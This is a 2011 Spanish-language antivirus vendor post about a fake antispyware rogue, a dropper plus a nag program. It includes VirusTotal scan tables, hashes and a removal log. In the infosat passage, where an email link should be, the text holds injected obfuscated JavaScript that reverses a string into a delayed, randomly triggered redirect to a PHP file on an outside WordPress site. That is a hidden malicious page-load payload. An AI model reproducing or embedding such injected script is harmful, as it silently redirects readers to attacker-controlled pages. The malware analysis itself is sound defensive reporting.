NUEVA VARIANTE DE FAKE AV ANTISPYWARE, DROPPER E INCORDIADOR

Rogue o FAKE que llega en tres ficheros, el Dropper que es este:
File name: SECURITYHELPER.EXE.Muestra EliStartPage v22.98
Submission date: 2011-04-06 14:36:22 (UTC)

Result: 10/ 41 (24.4%)
VT Community

not reviewed
Safety score: –
Compact Print results Antivirus Version Last Update Result
AhnLab-V3 2011.04.06.02 2011.04.06 –
AntiVir 7.11.5.206 2011.04.06 TR/Crypt.XPACK.Gen
Antiy-AVL 2.0.3.7 2011.04.06 –
Avast 4.8.1351.0 2011.04.06 –
Avast5 5.0.677.0 2011.04.01 –
AVG 10.0.0.1190 2011.04.06 unknown virus Win32/DH.CAFF8202DC
BitDefender 7.2 2011.04.06 Gen:Variant.Kazy.16313
CAT-QuickHeal 11.00 2011.04.06 –
ClamAV 0.97.0.0 2011.04.06 –
Commtouch 5.2.11.5 2011.04.06 –
Comodo 8241 2011.04.06 –
DrWeb 5.0.2.03300 2011.04.06 –
Emsisoft 5.1.0.5 2011.04.06 Packed.Win32.Katusha!IK
eSafe 7.0.17.0 2011.04.04 –
eTrust-Vet 36.1.8256 2011.04.06 –
F-Prot 4.6.2.117 2011.04.06 –
F-Secure 9.0.16440.0 2011.04.06 Gen:Variant.Kazy.16313
Fortinet 4.2.254.0 2011.04.06 –
GData 22 2011.04.06 Gen:Variant.Kazy.16313
Ikarus T3.1.1.103.0 2011.04.06 Packed.Win32.Katusha
Jiangmin 13.0.900 2011.04.05 –
K7AntiVirus 9.96.4314 2011.04.06 –
Kaspersky 7.0.0.125 2011.04.06 –
McAfee 5.400.0.1158 2011.04.06 –
McAfee-GW-Edition 2010.1C 2011.04.06 –
Microsoft 1.6702 2011.04.06 –
NOD32 6019 2011.04.06 a variant of Win32/Kryptik.LWR
Norman 6.07.07 2011.04.06 –
Panda 10.0.3.5 2011.04.06 Trj/CI.A
Prevx 3.0 2011.04.06 –
Rising 23.52.02.06 2011.04.06 –
Sophos 4.64.0 2011.04.06 Mal/FakeAV-JO
SUPERAntiSpyware 4.40.0.1006 2011.04.06 –
Symantec 20101.3.2.89 2011.04.06 –
TheHacker 6.7.0.1.168 2011.04.06 –
TrendMicro 9.200.0.1012 2011.04.06 –
TrendMicro-HouseCall 9.200.0.1012 2011.04.06 –
VBA32 3.12.14.3 2011.04.06 –
VIPRE 8936 2011.04.06 –
ViRobot 2011.4.6.4396 2011.04.06 –
VirusBuster 13.6.290.0 2011.04.06 –
Additional informationShow all
MD5   : f22adb80c95634b065267e006b1fa52f
SHA1  : 770ffdd682b7c9a6c854083313cddde744b43544

File size : 2784768 bytes

y este genera el ANTYPYWARE el incordiante, que no para de dar mensajes de infeccion, segun se puede ver en el infosat que los ha cazado:

____________ Texto infosat:

“Por favor, envienos el INFOSAT.TXT y una muestra del fichero
C:\Muestras\SECURITYMANAGER.EXE.Muestra EliStartPage v22.98
a “$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:virus@satinfo.es”>virus@satinfo.es“.  Gracias.
C:\DOCUMENTS AND SETTINGS\<usuario>\DATOS DE PROGRAMA\ANTIVIRUS ANTISPYWARE 2011\SECURITYHELPER.EXE –> Eliminado
C:\Documents and Settings\<usuario>\Datos de programa\Microsoft\Internet Explorer\Quick Launch\AntiVirus AntiSpyware 2011.lnk –> Eliminado (Fichero Complementario).
C:\Documents and Settings\<usuario>\Menú Inicio\Programas\AntiVirus AntiSpyware 2011.lnk –> Eliminado (Fichero Complementario).
Eliminada Carpeta “%ProgMenuInicio%\AntiVirus AntiSpyware 2011”
_____________
y el incordiante es:
File name: SECURITYMANAGER.EXE.Muestra EliStartPage v22.98
Submission date: 2011-04-06 14:44:00 (UTC)
Result: 10/ 42 (23.8%)
VT Community

not reviewed
Safety score: –
Compact Print results Antivirus Version Last Update Result
AhnLab-V3 2011.04.06.02 2011.04.06 –
AntiVir 7.11.5.206 2011.04.06 –
Antiy-AVL 2.0.3.7 2011.04.06 –
Avast 4.8.1351.0 2011.04.06 –
Avast5 5.0.677.0 2011.04.01 –
AVG 10.0.0.1190 2011.04.06 unknown virus Win32/DH.CAFF8202DC
BitDefender 7.2 2011.04.06 Gen:Trojan.Heur.FU.gyW@a8heX@ci
CAT-QuickHeal 11.00 2011.04.06 –
ClamAV 0.97.0.0 2011.04.06 –
Commtouch 5.2.11.5 2011.04.06 –
Comodo 8241 2011.04.06 –
DrWeb 5.0.2.03300 2011.04.06 –
Emsisoft 5.1.0.5 2011.04.06 Packed.Win32.Katusha!IK
eSafe 7.0.17.0 2011.04.04 –
eTrust-Vet 36.1.8256 2011.04.06 –
F-Prot 4.6.2.117 2011.04.06 –
F-Secure 9.0.16440.0 2011.04.06 Gen:Trojan.Heur.FU.gyW@a8heX@ci
Fortinet 4.2.254.0 2011.04.06 –
GData 22 2011.04.06 Gen:Trojan.Heur.FU.gyW@a8heX@ci
Ikarus T3.1.1.103.0 2011.04.06 Packed.Win32.Katusha
Jiangmin 13.0.900 2011.04.05 –
K7AntiVirus 9.96.4314 2011.04.06 –
Kaspersky 7.0.0.125 2011.04.06 –
McAfee 5.400.0.1158 2011.04.06 –
McAfee-GW-Edition 2010.1C 2011.04.06 –
Microsoft 1.6702 2011.04.06 –
NOD32 6019 2011.04.06 a variant of Win32/Kryptik.LWR
Norman 6.07.07 2011.04.06 –
Panda 10.0.3.5 2011.04.06 –
PCTools 7.0.3.5 2011.04.04 Trojan.Gen
Prevx 3.0 2011.04.06 –
Rising 23.52.02.06 2011.04.06 –
Sophos 4.64.0 2011.04.06 Mal/FakeAV-JO
SUPERAntiSpyware 4.40.0.1006 2011.04.06 –
Symantec 20101.3.2.89 2011.04.06 Trojan.Gen.2
TheHacker 6.7.0.1.168 2011.04.06 –
TrendMicro 9.200.0.1012 2011.04.06 –
TrendMicro-HouseCall 9.200.0.1012 2011.04.06 –
VBA32 3.12.14.3 2011.04.06 –
VIPRE 8936 2011.04.06 –
ViRobot 2011.4.6.4396 2011.04.06 –
VirusBuster 13.6.290.0 2011.04.06 –
Additional informationShow all
MD5   : b74f159b828d2625fb18c1c504543432
SHA1  : 0708c3b963c847e4c6e4b853c1241280d9722ff9
File size : 101376 bytes

Como vemos solo los controlan 10 de los 41 AV del VT, por lo que su propagacion es facil actualmente…

Con el ELISTARA 22.99 de hoy se controlan ambos troyanos, estando disponible en nuestra web a partir de las 19 h CET

saludos

ms, 6-4-2011